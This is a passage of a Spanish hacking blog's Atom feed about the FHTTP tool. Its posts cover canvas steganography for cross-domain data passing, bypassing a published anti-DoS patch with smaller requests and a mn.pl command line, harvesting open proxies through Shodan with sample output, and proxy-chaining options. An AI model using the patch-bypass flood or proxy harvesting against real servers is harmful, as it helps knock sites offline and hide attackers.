href="http://2.bp.blogspot.com/-cx_sKZtSrfo/TsGTiCmKNpI/AAAAAAAAAIk/6v1kAMGebrM/s1600/logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 160px; height: 106px;" src="http://2.bp.blogspot.com/-cx_sKZtSrfo/TsGTiCmKNpI/AAAAAAAAAIk/6v1kAMGebrM/s320/logo.png" alt="" id="BLOGGER_PHOTO_ID_5674979218485294738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Se creo un wiki en el cual se agregara toda la documentación y papers de esta herramienta, también se utilizara para dar informes acerca de parches y actualizaciones.&lt;br /&gt;&lt;br /&gt;Se necesitan redactores y traductores :P...&lt;br /&gt;&lt;br /&gt;La url es: &lt;a href="https://sourceforge.net/apps/mediawiki/fhttp/index.php?title=Main_Page"&gt;https://sourceforge.net/apps/mediawiki/fhttp/index.php?title=Main_Page&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-1755212806407704273?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/1755212806407704273/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=1755212806407704273' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1755212806407704273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1755212806407704273'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/11/wiki-fhttp.html' title='Wiki FHTTP'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-cx_sKZtSrfo/TsGTiCmKNpI/AAAAAAAAAIk/6v1kAMGebrM/s72-c/logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-5751155361474362266</id><published>2011-10-15T19:03:00.008-05:00</published><updated>2012-01-16T22:36:29.677-06:00</updated><title type='text'>HTML5 (Canvas) + JS + Esteganografía + Cross-Domain</title><content type='html'>Se me ocurrió en uno de esos #MomentosEureka xD&lt;br /&gt;&lt;br /&gt;Entre las cosas que HTML5 integra se encuentra el elemento canvas el cual nos permite trabajar a "bajo nivel" con imágenes, entonces se me ocurrió si podemos leer los valores de los pixeles de las imágenes usando canvas y JS, y ademas tenemos que img no esta limitado por dominio por lo que se puede usar para cross-domain...&lt;br /&gt;&lt;br /&gt;Entonces se me ocurrió cambiar pixeles de una imagen (o crear una imagen nueva) colocando char por char dentro del mensaje, podría colocar hasta 3 chars por pixel pero si la cosa es que no se note el mensaje o insertar en una imagen sin que esta se altere mucho entonces que sea 1 char por pixel ;)...&lt;br /&gt;&lt;br /&gt;entonces tenemos que un pixel esta formado por 3 valores (RGB = Rojo, Verde, Azul) por lo que se pueden meter 3 valores pero por lo que explique arriba no tiene mucho caso :P&lt;br /&gt;&lt;br /&gt;Entonces una forma divertida de hacerlo sin alterar tanto la imagen sería:&lt;br /&gt;RGB = (Ascii del char, 0, ascii del char) el por que pase el verde a 0 mas que nada es para no confundir pixeles de la imagen con pixeles del mensaje, obviamente pueden haber otros pixeles de la imagen con esa configuración por lo que no sería mas problema que cambiar el verde de 0 a 1 (lo cual no es un tono que se pueda reconocer a simple vista :P).&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;&amp;lt;?php&lt;br /&gt;/*&lt;br /&gt;By Xianur0&lt;br /&gt;http://hackingtelevision.blogspot.com&lt;br /&gt;xianur0.null [at] gmail.com&lt;br /&gt;*/&lt;br /&gt;$file = "imagen.jpg"; /*El por que estoy insertando el mensaje dentro de una imagen existente en lugar de crear una? por que es divertido y menos sospechoso para muchas cosas xD. Ah recomiendo usar imágenes mas o menos grandes para que los pixeles editados no se noten mucho o para poder enviar mensajes mas grandes ;) */&lt;br /&gt;$mensaje =  "xianur0 was here";&lt;br /&gt;function dibujarpixel($im,$x,$y,$color) {&lt;br /&gt;  $color = imagecolorallocate($im, $color[0],$color[1],$color[2]);&lt;br /&gt;  imagefilledrectangle($im, $x, $y, $x, $y, $color);&lt;br /&gt;}&lt;br /&gt;list($ancho, $alto, $tipo, $atributos) = getimagesize($file);&lt;br /&gt;$pixeles = $ancho*$alto;&lt;br /&gt;if(strlen($mensaje) &amp;gt; $pixeles) die("Imagen demasiado pequeña (o mensaje demasiado grande)!");&lt;br /&gt;$proporcion = intval(($pixeles/strlen($mensaje)));&lt;br /&gt;$im = "";&lt;br /&gt;preg_match("/(\w+)$/",$file,$match);&lt;br /&gt;switch(strtolower($match[1])){&lt;br /&gt;  case 'jpg':&lt;br /&gt;      case 'jpeg':&lt;br /&gt;      $im = imagecreatefromjpeg($file);&lt;br /&gt;  break;&lt;br /&gt;  case 'png':&lt;br /&gt;      $im = imagecreatefrompng($file);&lt;br /&gt;  break;&lt;br /&gt;}&lt;br /&gt;for($x=0;$x&amp;lt;$ancho;$x++){&lt;br /&gt;  for($y=0;$y&amp;lt;$alto;$y++){&lt;br /&gt;      $pixel = imagecolorat($im, $x, $y);&lt;br /&gt;      $colors = imagecolorsforindex($im,$pixel);&lt;br /&gt;      $r = $colors["red"];&lt;br /&gt;      $g = $colors["green"];&lt;br /&gt;      $b = $colors["blue"];&lt;br /&gt;      if($r == $b &amp;amp;&amp;amp; $g == 0) { // Si el pixel puede interferir lo cambiamos un poco :P&lt;br /&gt;          dibujarpixel($im,$x,$y,array($r,1,$b));&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;$p = 0;&lt;br /&gt;for ($i = 0; $i &amp;lt; strlen($mensaje); $i++) {&lt;br /&gt;  $y = intval($p/$ancho);&lt;br /&gt;  $x = intval($p-($y*$ancho));&lt;br /&gt;  dibujarpixel($im,$x,$y,array(ord($mensaje{$i}), 0, ord($mensaje{$i}))); // cambiamos este pixel por (ascii del char, 0, ascii del char) = (r,g,b)&lt;br /&gt;  $p += $proporcion;&lt;br /&gt;}&lt;br /&gt;header('Content-type: image/png');&lt;br /&gt;imagepng($im); // Imprimimos esta imagen editada como png :P&lt;br /&gt;imagedestroy($im);&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;y ahora para leer dichos datos desde JS + Canvas:&lt;br /&gt;&lt;br /&gt;&lt;pre class="Php" name="code"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;title&amp;gt;PoC Cross-Domain by Xianur0&amp;lt;/title&amp;gt;&lt;br /&gt;&amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;function cargaContextoCanvas(idCanvas){&lt;br /&gt; var elemento = document.getElementById(idCanvas);&lt;br /&gt; if(elemento &amp;amp;&amp;amp; elemento.getContext){&lt;br /&gt;    var contexto = elemento.getContext('2d');&lt;br /&gt;    if(contexto){&lt;br /&gt;       return contexto;&lt;br /&gt;    }&lt;br /&gt; }&lt;br /&gt; return FALSE;&lt;br /&gt;}&lt;br /&gt;window.onload = function(){&lt;br /&gt; var ctx = cargaContextoCanvas('micanvas');&lt;br /&gt; var cadena = "";&lt;br /&gt; if(ctx){&lt;br /&gt;    var img = new Image();&lt;br /&gt;    img.src = 'png.php';&lt;br /&gt;    img.onload = function(){&lt;br /&gt;      ctx.drawImage(img, 0, 0);&lt;br /&gt;  var ele = document.getElementById('micanvas');&lt;br /&gt;  var canvasData = ctx.getImageData(0, 0, ele.width, ele.height);&lt;br /&gt;  for (var idx = 0; idx &amp;lt; (ele.width*ele.height)*4; idx+=4)  {&lt;br /&gt;      var r = canvasData.data[idx + 0];&lt;br /&gt;      var g = canvasData.data[idx + 1];&lt;br /&gt;      var b = canvasData.data[idx + 2];&lt;br /&gt;      var a = canvasData.data[idx + 3];&lt;br /&gt;      if(r == b &amp;amp;&amp;amp; g == 0)&lt;br /&gt;        cadena += String.fromCharCode(b);&lt;br /&gt;  }&lt;br /&gt;  alert(cadena);&lt;br /&gt;    }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;canvas id="micanvas" width="900" height="900"&amp;gt;&lt;br /&gt;Tu navegador no soporta canvas.&lt;br /&gt;&amp;lt;/canvas&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Como verán es algo bastante simple, mientras el carácter que queramos enviar no pase de 255 (ascii) no debería de haber problema :P.&lt;br /&gt;&lt;br /&gt;Como dije arriba esta forma se puede usar para estenografía o bien para pasar datos de un dominio a otro (el same origen policy da dolor de cabeza a muchos desarrolladores web por lo que esta sería una opción bastante viable en muchos casos :P).&lt;br /&gt;&lt;br /&gt;Es una forma muy simplona pero solo es un PoC xD...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saludos!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-5751155361474362266?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/5751155361474362266/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=5751155361474362266' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5751155361474362266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/5751155361474362266'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/10/html5-canvas-js-esteganografia-cross.html' title='HTML5 (Canvas) + JS + Esteganografía + Cross-Domain'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-6772985441115502584</id><published>2011-09-01T17:28:00.003-05:00</published><updated>2011-09-01T18:36:01.395-05:00</updated><title type='text'>Breaking the patch - FHTTP</title><content type='html'>Mi amigo NataShell publico un parche contra la FHTTP (que también se publico aquí en el blog), como se dijo al inicio es solo un parche temporal, ahora verán el por que :P&lt;br /&gt;&lt;br /&gt;Parche: http://natashell.esdebian.org/47316/defendiendonos-fhttp&lt;br /&gt;&lt;br /&gt;primero comenzamos con el primer detalle visible:&lt;br /&gt;&lt;code&gt;iptables -A INPUT -p tcp -m tcp --dport 80 -m limit --limit 10/sec -j ACCEPT&lt;br /&gt;&lt;br /&gt;se limita a 10 conexiones por segundo, por suerte solo necesitamos esa cantidad (o menos) para saturar un servidor ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;LimitRequestBody 102400&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Description: Restricts the total size of the HTTP request body sent from the client.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;LimitRequestFields 50&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Description: &lt;/code&gt;Limits the number of HTTP request header fields that will be accepted from the client&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;LimitRequestFieldSize 8190&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;Description: Limits the size of the HTTP request header allowed from the client&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;LimitInternalRecursion 5&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;Description: Determine maximum number of internal redirects and nested subrequests.&lt;br /&gt;&lt;br /&gt;&lt;code style="font-weight: bold;"&gt;LimitRequestLine 8190&lt;/code&gt;&lt;br /&gt;Description: Limit the size of the HTTP request line that will be accepted from the client.&lt;br /&gt;&lt;br /&gt;Bueno por suerte los únicos que verdaderamente nos afectan son:&lt;br /&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;LimitInternalRecursion y &lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="font-weight: bold;"&gt;LimitRequestBody.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;Debido a los siguiente: el internalrecursion se puede entender como que solo nos va a dejar cargar (en este caso) 5 veces la misma pagina.&lt;br /&gt;&lt;br /&gt;y &lt;code&gt;&lt;span style="font-weight: bold;"&gt;LimitRequestBody &lt;/span&gt;&lt;/code&gt;nos pone un limite de cuantos bytes podemos enviar  y por tanto de cuantos requests se pueden realizar.&lt;br /&gt;&lt;br /&gt;Vamos a solucionarlo ;)&lt;br /&gt;&lt;br /&gt;No voy a usar la FHTTP completa para esta solo la MN que colgué en &lt;a href="http://seclists.org/fulldisclosure/2011/Aug/284"&gt;seclists&lt;/a&gt;.&lt;br /&gt;La razón: es mas ligera y mas fácil de editar para esta "explicación" xD.&lt;br /&gt;&lt;br /&gt;si editamos un poco el request que se va a enviar de la siguiente forma:&lt;br /&gt;&lt;br /&gt;            $paquete .= join "",$method," /",$filepath," HTTP/1.1\nHost: ",$host,"\nAccept-Encoding: gzip,deflate\nIf-None-Match: ",$randsemilla,"\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\nConnection: Keep-Alive\n\n";&lt;br /&gt;&lt;br /&gt;Estaríamos reduciendo el tamaño por request y haciendo básicamente el mismo daño, pero utilizando menos banda (mas request por conexión :P).&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;Ahora respecto a lo otro, tenemos que apache (aparentemente) procesa por URL, no exactamente por archivo, de modo que podríamos usar el {mn-fakeip} de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;perl mn.pl http://localhost:8080/SMF/?{mn-fakeip} 8 100 190.10.101.1&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;y listo pasado el parche xD (en ese caso son 8 conexiones, no las 10 que nos permite, pero en fin incluso con eso en muchos casos basta :P).&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Pero si tengo que reconocer que no tiene el mismo potencial que tendría sin el parche, pero igual funciona (parcialmente) xD...&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Saludos! y a esperar que el amigo NataShell saque otro parche :P.&lt;code&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-6772985441115502584?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/6772985441115502584/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=6772985441115502584' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6772985441115502584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6772985441115502584'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/09/breaking-patch-fhttp.html' title='Breaking the patch - FHTTP'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-7242781118651127330</id><published>2011-08-23T14:00:00.002-05:00</published><updated>2011-08-23T14:05:17.996-05:00</updated><title type='text'>FHTTP + Shodan = Proxy List :P</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Cazando proxy list con Shodan y FHTTP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Primero necesitamos agregar el soporte para shodan:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/fhttp/files/Extra/"&gt;https://sourceforge.net/projects/fhttp/files/Extra/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;se bajan los modulos en la carpeta del FHTTP y esa es toda la instalacion.&lt;br /&gt;&lt;br /&gt;Tambien tenemos un ejemplo usando ese modulo:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/fhttp/files/Extra/Examples%20-%20Shodan/finder.pl/download"&gt;http://sourceforge.net/projects/fhttp/files/Extra/Examples%20-%20Shodan/finder.pl/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vamos a usar ese script.&lt;/span&gt;&lt;br /&gt;Pero antes vamos a explicar un poco el funcionamiento, no del modulo de shodan, del script.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Inicializamos:&lt;/span&gt;&lt;br /&gt;&lt;pre class="PHP" name="code"&gt;my $shodan = shodan-&amp;gt;new();&lt;br /&gt;$shodan-&amp;gt;login($user,$password);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;como tal no es necesario logearse, pero lo hacemos para que de mas resultados (mas de 1 pagina).&lt;br /&gt;&lt;br /&gt;y buscamos:&lt;br /&gt;&lt;pre class="PHP" name="code"&gt;my @tmpenlaces = $shodan-&amp;gt;buscar($busqueda,$page);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;$page&lt;/span&gt; es el numero de pagina que queremos que nos retorne.&lt;br /&gt;&lt;br /&gt;&lt;pre class="PHP" name="code"&gt;($proto,$host,$hostheader,$path,$puerto) = &amp;amp;tools::parseurl($enlace);&lt;br /&gt;$sock = IO::Socket::INET-&amp;gt;new(PeerAddr =&amp;gt; $host,&lt;br /&gt;	PeerPort =&amp;gt; $puerto,&lt;br /&gt;	Timeout =&amp;gt; 1,&lt;br /&gt;	Proto =&amp;gt; 'tcp');&lt;br /&gt;if(!$sock) {&lt;br /&gt;	$i = 2;&lt;br /&gt;	$down++;&lt;br /&gt;	next;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Parseamos los enlaces y armamos un socket, en caso de que falle lo registramos como "caido".&lt;br /&gt;&lt;br /&gt;&lt;pre class="PHP" name="code"&gt;$maketunnel = tools::maketunnel($sock,$hosttest,$porttest,0,0);&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nota: &lt;/span&gt;los dos ultimos valores son: debug (0 o 1) y version (version de HTTP)&lt;br /&gt;&lt;br /&gt;Intentamos crear un tunnel HTTP (mediante "CONNECT"), tools lo hace todo automatico para nosotros ;)... $maketunnel sera 1 si se creo correctamente, 0 si no y 2 si hay un 404 (que esta tomando CONNECT como GET y puede ser un honneypot :P).&lt;br /&gt;&lt;br /&gt;De otro modo cerramos el socket, no nos sirve bajarnos a ese nivel para probar un proxy normal.&lt;br /&gt;&lt;br /&gt;&lt;pre class="PHP" name="code"&gt;$paquete = http-&amp;gt;new("GET","http://".$hosttest.(($puerto != 80 ) ? (":".$puerto) : "")."/","1.1");&lt;br /&gt;$paquete-&amp;gt;agregarencabezados(0,@encabezados);&lt;br /&gt;my %resp = $paquete-&amp;gt;enviar($host,$puerto);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Usamos el generador de peticiones (http.pm) y finalmente lo demas es cosa de checar los encabezados/contenido y determinar si el proxy hizo la conexion correctamente (para eso se usa el argumento regex).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ahora a jugar...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="PHP" name="code"&gt;linux-7nli:/home/xianur0/fhttp-v1.3 # perl finder.pl squid "" "" google.com 80 Google&lt;br /&gt;Comprobando dependencias...&lt;br /&gt;Felicidades: FHTTP funcionando al 100%!&lt;br /&gt;Tunnel: google.com:80&lt;br /&gt;Target: 9&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[!] Proxy HTTP: 209.xxx.1x1.xxx:xx&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 400 Bad Request!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 400 Bad Request!&lt;br /&gt;[!] Proxy HTTP: 222.xxx.1x1.xxx:xxx&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.1 501 Not Implemented!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.1 501 Not Implemented!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[!] Proxy HTTP: 189.xxx.x68.xxx:xxx&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[!] Proxy HTTP: 186.xxx.2x2.xxx:xxx&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 407 Proxy Authentication Required!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 407 Proxy Authentication Required!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[!] Proxy HTTP: 203.xxx.1x9.xxx:xxx&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[!] Proxy HTTP: 202.xxx.17x.xxx:xxx&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!&lt;br /&gt;[!] Proxy HTTP: 186.xxx.15x.xxx:xxx&lt;br /&gt;Down: 1&lt;br /&gt;Honeypot: 0&lt;br /&gt;CONNECT: 0&lt;br /&gt;Others: 7&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-7242781118651127330?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/7242781118651127330/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=7242781118651127330' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/7242781118651127330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/7242781118651127330'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/08/fhttp-shodan-proxy-list-p.html' title='FHTTP + Shodan = Proxy List :P'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-6920410143529534988</id><published>2011-08-15T20:48:00.003-05:00</published><updated>2011-08-15T21:15:53.423-05:00</updated><title type='text'>FHTTP Cheat Codes</title><content type='html'>Para los que no estén enterados hoy agregamos soporte multi-idioma a #FHTTP la cual pueden encontrar en el sourceforge oficial: &lt;a href="https://sourceforge.net/projects/fhttp/files/FHTTPv1.3/"&gt;FHTTP&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;my @cheats = ("--proxy","--tunnel-http","--proxy-list","--crlf-req","--crlf-res","--verbose","--lang");&lt;br /&gt;&lt;br /&gt;Bueno ahí están los "Cheat Codes", vamos desde lo simple a lo complicado:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--crlf-res=CRLF&lt;/span&gt; - En este podemos especificar los caracteres que se van a usar en lugar del CRLF en las respuestas del proxy al navegador (por ejemplo: CR sin LF, LF sin CR o LF+CR).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--crlf-req=CRLF&lt;/span&gt; - Lo mismo que el de arriba pero en los request's.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--proxy=ip:puerto&lt;/span&gt; - El proxy o primer nodo del encadenamiento a usar.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--proxy-list=archivo.txt&lt;/span&gt; - El proxy list (solo útil en encadenamientos).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--tunnel-http=1&lt;/span&gt; - Al darle el valor de 1 va a intentar crear encadenamiento (si hay proxy list) o un tunnel simple (usando el valor de --proxy) mediante el metodo CONNECT de modo que es requerido que los nodos especificados soporten CONNECT (y los puertos a usar), otra cosa que hay que tener en cuenta es que se requiere especifica --proxy al realizar encadenamientos es decir, el valor de dicho "cheat code" se utilizara como el primer nodo del encadenamiento y el resto se tomara del proxy-list.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--lang=en &lt;/span&gt;- Le decimos que establezca por defecto el idioma en (ingles) o es (español), para agregar mas lenguajes tienen que editar &lt;span style="font-weight: bold;"&gt;dic.pm&lt;/span&gt; (en la versión multi-idioma).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--verbose=0&lt;/span&gt; - Establecemos el modo verboso (solo valido por el momento en el modulo de proxy) en 0, de momento los valores soportados son: 0-3.&lt;br /&gt;&lt;br /&gt;Otros "cheat codes" sirven para desactivar o "forzar activar" ciertos módulos del interprete, por ejemplo trabajar sin Gtk2 o sin IO::Socket::SSL o incluso sin soporte para compresiones.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Ejemplo:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;perl fhttp.pl no-Gtk2 --lang=en&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por otro lado para volver a activar se quita el no.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;perl fhttp.pl Gtk2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Estos últimos cheat's no llevan el "--" y son "recursivos" es decir solo basta agregarlos 1 vez como argumento y se guardara en "config.fhttp" y se usara para la siguiente "ejecución".&lt;br /&gt;&lt;br /&gt;Todos estos argumentos se deberán usar después de los argumentos que se le pasan al modulo a usar por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;perl fhttp.pl 0 http://google.com.mx/ 0 --lang=en&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dudas o comentarios: xianur0.null[at] gmail.com&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saludos!&lt;/span&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-6920410143529534988?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/6920410143529534988/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=6920410143529534988' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6920410143529534988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6920410143529534988'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/08/fhttp-cheat-codes.html' title='FHTTP Cheat Codes'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-8402684294391989855</id><published>2011-08-15T19:33:00.002-05:00</published><updated>2011-08-15T20:47:38.073-05:00</updated><title type='text'>FHTTP Hacking - Cap 